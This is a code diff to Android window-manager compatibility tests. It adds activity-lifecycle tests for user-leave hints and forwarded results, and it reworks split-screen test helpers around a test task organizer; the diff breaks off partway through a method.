--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -17,9 +17,11 @@
package android.server.wm.lifecycle;
import static android.app.Instrumentation.ActivityMonitor;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
import static android.server.wm.WindowManagerState.STATE_PAUSED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.server.wm.UiDeviceUtils.pressBackButton;
@@ -39,6 +41,7 @@
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
import static android.server.wm.lifecycle.LifecycleVerifier.transition;
import static android.view.Surface.ROTATION_0;
@@ -51,6 +54,7 @@
import static org.junit.Assert.fail;
import android.app.Activity;
+import android.app.ActivityOptions;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.ActivityInfo;
@@ -483,9 +487,15 @@
return;
}
- final Activity becomingVisibleActivity = launchActivityAndWait(FirstActivity.class);
- final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
- final Activity topOpaqueActivity = launchActivityAndWait(SecondActivity.class);
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+
+ final Activity becomingVisibleActivity =
+ new Launcher(FirstActivity.class).setOptions(options).launch();
+ final Activity translucentActivity =
+ new Launcher(TranslucentActivity.class).setOptions(options).launch();
+ final Activity topOpaqueActivity =
+ new Launcher(SecondActivity.class).setOptions(options).launch();
waitAndAssertActivityStates(
state(becomingVisibleActivity, ON_STOP),
@@ -538,6 +548,32 @@
}
@Test
+ public void testLaunchActivityWithFlagForwardResult() throws Exception {
+ final ActivityMonitor resultMonitor = getInstrumentation().addMonitor(
+ ResultActivity.class.getName(), null /* result */, false /* block */);
+
+ new Launcher(LaunchForwardResultActivity.class)
+ .setExpectedState(ON_STOP)
+ .setNoInstance()
+ .launch();
+
+ final Activity resultActivity = getInstrumentation()
+ .waitForMonitorWithTimeout(resultMonitor, 5000);
+ getInstrumentation().runOnMainSync(resultActivity::finish);
+ waitAndAssertActivityStates(state(LaunchForwardResultActivity.class,
+ ON_TOP_POSITION_GAINED));
+
+ // verify the result have sent back to original activity
+ final List<LifecycleLog.ActivityCallback> expectedSequence =
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+ ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+ ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
+ ON_TOP_POSITION_GAINED);
+ LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
+ expectedSequence, "becomingVisibleResumed");
+ }
+
+ @Test
public void testOnActivityResult() throws Exception {
new Launcher(LaunchForResultActivity.class)
.customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
@@ -989,4 +1025,34 @@
LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
transition(SingleTopActivity.class, ON_ACTIVITY_RESULT),"activityResult");
}
+
+ @Test
+ public void testLaunchOnUserLeaveHint() throws Exception {
+ new Launcher(FirstActivity.class)
+ .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+ .launch();
+
+ getLifecycleLog().clear();
+ launchActivityAndWait(SecondActivity.class);
+ waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+ LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+ }
+
+ @Test
+ public void testLaunchOnUserLeaveHintWithNoUserAction() throws Exception {
+ new Launcher(FirstActivity.class)
+ .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+ .launch();
+
+ getLifecycleLog().clear();
+ new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+ LifecycleVerifier.assertTransitionNotObserved(getLifecycleLog(),
+ transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index c7bac16..a299c8c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -309,11 +309,6 @@
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
- // Wait for first activity to resume after moving to primary split-screen
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
- // First activity must be resumed, but not gain the top position
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "unminimizeDockedStack");
// Second activity must be on top now
LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
}
@@ -334,9 +329,6 @@
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
- // Wait for first activity to resume after moving to primary split-screen
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
// Switch top between two activities
getLifecycleLog().clear();
new Launcher(CallbackTrackingActivity.class)
@@ -473,9 +465,6 @@
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
- // Wait for first activity to resume after moving to primary split-screen
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
// Tap on first activity to switch the focus
getLifecycleLog().clear();
final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
index 1a622e8..f000dd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
@@ -51,7 +51,8 @@
ON_NEW_INTENT,
ON_MULTI_WINDOW_MODE_CHANGED,
ON_TOP_POSITION_GAINED,
- ON_TOP_POSITION_LOST
+ ON_TOP_POSITION_LOST,
+ ON_USER_LEAVE_HINT
}
interface LifecycleTrackerCallback {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 233e260..6f005b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -31,6 +31,7 @@
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -300,16 +301,33 @@
static List<LifecycleLog.ActivityCallback> getSplitScreenTransitionSequence(
Class<? extends Activity> activityClass) {
+ // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
+ // don't expect a trailing ON_PAUSE.
return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
? CONFIG_CHANGE_HANDLING_CLASS.isAssignableFrom(activityClass)
- ? Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST, ON_PAUSE)
+ ? Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST)
: Arrays.asList(
ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
- ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE)
+ ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
: Arrays.asList(
ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
- ON_RESUME, ON_PAUSE);
+ ON_RESUME);
+ }
+
+ // TODO(b/149338177): Remove this workaround once test passes with TestTaskOrganizer not to
+ // depend on minimized dock feature which is not policy requirement, but SysUI-specific.
+ /**
+ * Returns the result of appending "leave from minimized dock" transitions to given transitions
+ * to "consume" these activity callbacks.
+ */
+ static List<ActivityCallback> appendMinimizedDockTransitionTrail(
+ List<ActivityCallback> transitions) {
+ final List<LifecycleLog.ActivityCallback> newTransitions =
+ new ArrayList<LifecycleLog.ActivityCallback>(transitions);
+ newTransitions.addAll(Arrays.asList(ON_PAUSE, ON_RESUME));
+
+ return newTransitions;
}
static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
@@ -373,6 +391,15 @@
lifecycleLog.getLog().contains(expectedTransition));
}
+ /**
+ * Assert that a transition was not observer, no particular order.
+ */
+ static void assertTransitionNotObserved(LifecycleLog lifecycleLog,
+ Pair<String, ActivityCallback> expectedTransition, String transition) {
+ assertFalse("Transition " + expectedTransition + " must not be observed during "
+ + transition, lifecycleLog.getLog().contains(expectedTransition));
+ }
+
static void assertEmptySequence(Class<? extends Activity> activityClass,
LifecycleLog lifecycleLog, String transition) {
assertSequence(activityClass, lifecycleLog, new ArrayList<>(), transition);
diff --git a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
index 2e3446f..0591fca 100644
--- a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
@@ -21,7 +21,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWindowManagerSdk25TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
index ac3b62b..e315e22 100644
--- a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
@@ -22,7 +22,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWindowManagerSdk28TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
index 6d1f8d8..f2e558a 100644
--- a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
@@ -22,7 +22,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWindowManagerSdk29TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index d841a45..25b5ee8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -242,7 +242,7 @@
try {
if (getBoolean(extras, KEY_LAUNCH_PENDING)) {
PendingIntent pendingIntent = PendingIntent.getActivity(launchContext,
- 0, newIntent, 0);
+ 0, newIntent, PendingIntent.FLAG_IMMUTABLE);
pendingIntent.send();
} else {
launchContext.startActivity(newIntent, optionsBundle);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index c674bbc..3bee484 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -16,7 +16,6 @@
package android.server.wm;
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
import static android.app.Instrumentation.ActivityMonitor;
@@ -25,8 +24,8 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.content.Intent.ACTION_MAIN;
import static android.content.Intent.CATEGORY_HOME;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -146,11 +145,7 @@
import android.util.EventLog;
import android.util.EventLog.Event;
import android.view.Display;
-import android.view.InputDevice;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
import android.view.View;
-import android.view.ViewConfiguration;
import android.view.WindowManager;
import androidx.annotation.NonNull;
@@ -176,7 +171,6 @@
import java.util.List;
import java.util.Map;
import java.util.UUID;
-import java.util.concurrent.ConcurrentLinkedDeque;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.BooleanSupplier;
import java.util.function.Consumer;
@@ -559,7 +553,8 @@
runWithShellPermission(() -> {
// TaskOrganizer ctor requires MANAGE_ACTIVITY_TASKS permission
- mTaskOrganizer = new TestTaskOrganizer();
+ mTaskOrganizer = new TestTaskOrganizer(
+ mContext.createDisplayContext(mDm.getDisplay(DEFAULT_DISPLAY)));
// Clear launch params for all test packages to make sure each test is run in a clean
// state.
mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
@@ -593,12 +588,6 @@
SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
}
- protected void moveTopActivityToPinnedRootTask(int rootTaskId) {
- runWithShellPermission(
- () -> mAtm.moveTopActivityToPinnedRootTask(rootTaskId, new Rect(0, 0, 500, 500))
- );
- }
-
protected void startActivityOnDisplay(int displayId, ComponentName component) {
final ActivityOptions options = ActivityOptions.makeBasic();
options.setLaunchDisplayId(displayId);
@@ -762,6 +751,10 @@
return null;
}
+ protected int getDisplayWindowingModeByActivity(ComponentName activity) {
+ return mWmState.getDisplay(mWmState.getDisplayByActivity(activity)).getWindowingMode();
+ }
+
/**
* Launches the home activity directly. If there is no specific reason to simulate a home key
* (which will trigger stop-app-switches), it is the recommended method to go home.
@@ -810,6 +803,24 @@
executeShellCommand(getAmStartCmd(activityName, displayId, extras));
}
+ protected void launchActivityInPrimarySplit(ComponentName activityName) {
+ runWithShellPermission(() -> {
+ launchActivity(activityName);
+ final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+ mTaskOrganizer.putTaskInSplitPrimary(taskId);
+ mWmState.waitForValidState(activityName);
+ });
+ }
+
+ protected void launchActivityInSecondarySplit(ComponentName activityName) {
+ runWithShellPermission(() -> {
+ launchActivity(activityName);
+ final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(taskId);
+ mWmState.waitForValidState(activityName);
+ });
+ }
+
/**
* Launches {@param activityName} into split-screen primary windowing mode and also makes
* the recents activity visible to the side of it.
@@ -824,10 +835,7 @@
if (mUseTaskOrganizer) {
mTaskOrganizer.putTaskInSplitPrimary(taskId);
} else {
- mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
- SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT,
- true /* onTop */, false /* animate */,
- null /* initialBounds */, true /* showRecents */);
+ mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
}
mWmState.waitForValidState(
@@ -856,10 +864,7 @@
if (mUseTaskOrganizer) {
mTaskOrganizer.putTaskInSplitPrimary(taskId);
} else {
- mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
- SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true /* onTop */,
- false /* animate */, null /* initialBounds */,
- false /* showRecents */);
+ mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
}
// Wait for split screen ready
@@ -891,6 +896,46 @@
}
/**
+ * Moves the device into split-screen with the specified task into the primary stack.
+ * @param taskId The id of the task to move into the primary stack.
+ * @param showSideActivity Whether to show the home activity or a placeholder activity in
+ * secondary split-screen.
+ * If {@code true} it will also wait for activity in the primary
+ * split-screen stack to be resumed.
+ */
+ public void moveTaskToPrimaryLegacySplitScreen(int taskId, boolean showSideActivity) {
+ runWithShellPermission(() -> {
+ mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
+
+ // Wait for split screen ready
+ mWmState.waitForWithAmState(state -> {
+ final WindowManagerState.ActivityTask task =
+ state.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ return task != null && task.getResumedActivity() != null;
+ }, "home activity in the secondary split-screen task must be resumed");
+
+ if (showSideActivity) {
+ // Launch Placeholder Side Activity
+ final ComponentName sideActivityName =
+ new ComponentName(mContext, SideActivity.class);
+ mContext.startActivity(new Intent().setComponent(sideActivityName)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
+
+ // Wait for the state of the activity on primary split screen to resumed, so the
+ // LifecycleLog won't affect the following tests.
+ mWmState.waitForWithAmState(state -> {
+ final WindowManagerState.ActivityTask stack =
+ state.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ return stack != null && stack.getResumedActivity() != null;
+ }, "activity in the primary split-screen stack must be resumed");
+ }
+ });
+ }
+
+ /**
* Launches {@param primaryActivity} into split-screen primary windowing mode
* and {@param secondaryActivity} to the side in split-screen secondary windowing mode.
*/
@@ -902,9 +947,42 @@
.setWaitForLaunched(true)
.execute();
+ final int primaryTaskId = mWmState.getTaskByActivity(
+ primaryActivity.mTargetActivity).mTaskId;
+ mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
+
+ // Launch split-screen secondary
+ secondaryActivity
+ .setUseInstrumentation()
+ .setWaitForLaunched(true)
+ .setNewTask(true)
+ .setMultipleTask(true)
+ .execute();
+
+ final int secondaryTaskId = mWmState.getTaskByActivity(
+ secondaryActivity.mTargetActivity).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+ mWmState.computeState(primaryActivity.getTargetActivity(),
+ secondaryActivity.getTargetActivity());
+ log("launchActivitiesInSplitScreen(), primaryTaskId=" + primaryTaskId +
+ ", secondaryTaskId=" + secondaryTaskId);
+ }
+
+ /**
+ * Launches {@param primaryActivity} into split-screen primary windowing mode
+ * and {@param secondaryActivity} to the side in split-screen secondary windowing mode.
+ */
+ protected void launchActivitiesInLegacySplitScreen(LaunchActivityBuilder primaryActivity,
+ LaunchActivityBuilder secondaryActivity) {
+ // Launch split-screen primary.
+ primaryActivity
+ .setUseInstrumentation()
+ .setWaitForLaunched(true)
+ .execute();
+
final int taskId = mWmState.getTaskByActivity(
primaryActivity.mTargetActivity).mTaskId;
- moveTaskToPrimarySplitScreen(taskId);
+ moveTaskToPrimaryLegacySplitScreen(taskId, false /* showSideActivity */);
// Launch split-screen secondary
// Recents become focused, so we can just launch new task in focused stack
@@ -1058,7 +1136,9 @@
mWmState.getRootTask(frontRootTaskId);
assertEquals(
"Resumed activity of front root task of the target display must match. " + message,
- activityClassName, frontRootTaskOnDisplay.mResumedActivity);
+ activityClassName,
+ frontRootTaskOnDisplay.isLeafTask() ? frontRootTaskOnDisplay.mResumedActivity
+ : frontRootTaskOnDisplay.getTopTask().mResumedActivity);
mWmState.assertFocusedStack("Top activity's rootTask must also be on top", frontRootTaskId);
mWmState.assertVisibility(activityName, true /* visible */);
}
@@ -1091,6 +1171,12 @@
return uiModeLockedToVrHeadset;
}
+ protected boolean supportsMultiWindow() {
+ Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
+ return ActivityTaskManager.supportsSplitScreenMultiWindow(
+ mContext.createDisplayContext(defaultDisplay));
+ }
+
/** Returns true if the default display supports split screen multi-window. */
protected boolean supportsSplitScreenMultiWindow() {
Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
new file mode 100644
index 0000000..cfe1254
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+
+import javax.annotation.Nullable;
+
+public class FutureConnection<T extends IInterface> implements ServiceConnection {
+ private static final String TAG = "FutureServiceConnection";
+
+ private final Function<IBinder, T> mConverter;
+ private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+ public FutureConnection(Function<IBinder, T> converter) {
+ mConverter = converter;
+ }
+
+ public T get(long timeoutMs) throws Exception {
+ return mConverter.apply(mFuture.get(timeoutMs, TimeUnit.MILLISECONDS));
+ }
+
+ @Nullable
+ public T getCurrent() {
+ return mConverter.apply(mFuture.getNow(null));
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ mFuture.complete(service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.w(TAG, name.flattenToShortString() + " disconnected");
+ mFuture = new CompletableFuture<>();
+ }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index 2772160..a5d2cf8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -16,30 +16,129 @@
package android.server.wm;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.view.Display.DEFAULT_DISPLAY;
import android.app.ActivityManager;
-import android.view.Display;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.util.ArraySet;
+import android.util.Log;
import android.view.SurfaceControl;
+import android.view.WindowManager;
+import android.window.TaskAppearedInfo;
import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
import android.window.WindowContainerTransaction;
import androidx.annotation.NonNull;
-import java.util.ArrayList;
+import org.junit.Assert;
+
import java.util.HashMap;
import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
class TestTaskOrganizer extends TaskOrganizer {
+ private static final String TAG = TestTaskOrganizer.class.getSimpleName();
+ public static final int INVALID_TASK_ID = -1;
private boolean mRegistered;
- final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
private ActivityManager.RunningTaskInfo mRootPrimary;
- private boolean mRootPrimaryHasChild;
private ActivityManager.RunningTaskInfo mRootSecondary;
+ private IBinder mPrimaryCookie;
+ private IBinder mSecondaryCookie;
+ private final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
+ private final ArraySet<Integer> mPrimaryChildrenTaskIds = new ArraySet<>();
+ private final ArraySet<Integer> mSecondaryChildrenTaskIds = new ArraySet<>();
+ private final Rect mPrimaryBounds = new Rect();
+ private final Rect mSecondaryBounds = new Rect();
+
+ private static final int[] CONTROLLED_ACTIVITY_TYPES = {
+ ACTIVITY_TYPE_STANDARD,
+ ACTIVITY_TYPE_HOME,
+ ACTIVITY_TYPE_RECENTS,
+ ACTIVITY_TYPE_UNDEFINED
+ };
+ private static final int[] CONTROLLED_WINDOWING_MODES = {
+ WINDOWING_MODE_FULLSCREEN,
+ WINDOWING_MODE_MULTI_WINDOW,
+ WINDOWING_MODE_UNDEFINED
+ };
+
+ TestTaskOrganizer(Context displayContext) {
+ super();
+ Rect bounds = displayContext.getSystemService(WindowManager.class)
+ .getCurrentWindowMetrics()
+ .getBounds();
+ boolean isLandscape = bounds.width() > bounds.height();
+ mPrimaryBounds.set(
+ 0, 0,
+ isLandscape ? bounds.width() / 2 : bounds.width(),
+ isLandscape ? bounds.height() : bounds.height() / 2);
+ mSecondaryBounds.set(
+ isLandscape ? bounds.width() / 2 : 0,
+ isLandscape ? 0 : bounds.height() / 2,
+ 0, 0);
+ }
+
+ @Override
+ public List<TaskAppearedInfo> registerOrganizer() {
+ synchronized (this) {
+ final List<TaskAppearedInfo> taskInfos = super.registerOrganizer();
+ for (int i = 0; i < taskInfos.size(); i++) {
+ final TaskAppearedInfo info = taskInfos.get(i);
+ onTaskAppeared(info.getTaskInfo(), info.getLeash());
+ }
+ createRootTasksIfNeeded();
+ return taskInfos;
+ }
+ }
+
+ private void createRootTasksIfNeeded() {
+ synchronized (this) {
+ if (mPrimaryCookie != null) return;
+ mPrimaryCookie = new Binder();
+ mSecondaryCookie = new Binder();
+
+ createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mPrimaryCookie);
+ createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mSecondaryCookie);
+
+ waitForAndAssert(o -> mRootPrimary != null && mRootSecondary != null,
+ "Failed to get root tasks");
+ Log.e(TAG, "createRootTasksIfNeeded primary=" + mRootPrimary.taskId
+ + " secondary=" + mRootSecondary.taskId);
+ }
+ }
+
+ private void waitForAndAssert(Predicate<Object> condition, String failureMessage) {
+ waitFor(condition);
+ if (!condition.test(this)) {
+ Assert.fail(failureMessage);
+ }
+ }
+
+ private void waitFor(Predicate<Object> condition) {
+ final long waitTillTime = SystemClock.elapsedRealtime() + TimeUnit.SECONDS.toMillis(5);
+ while (!condition.test(this)
+ && SystemClock.elapsedRealtime() < waitTillTime) {
+ try {
+ wait(TimeUnit.SECONDS.toMillis(5));
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
private void registerOrganizerIfNeeded() {
if (mRegistered) return;
@@ -49,151 +148,226 @@
}
void unregisterOrganizerIfNeeded() {
- if (!mRegistered) return;
- mRegistered = false;
- NestedShellPermission.run(() -> {
- dismissedSplitScreen();
- super.unregisterOrganizer();
- });
+ synchronized (this) {
+ if (!mRegistered) return;
+ mRegistered = false;
+
+ NestedShellPermission.run(() -> {
+ dismissedSplitScreen();
+
+ deleteRootTask(mRootPrimary.getToken());
+ mRootPrimary = null;
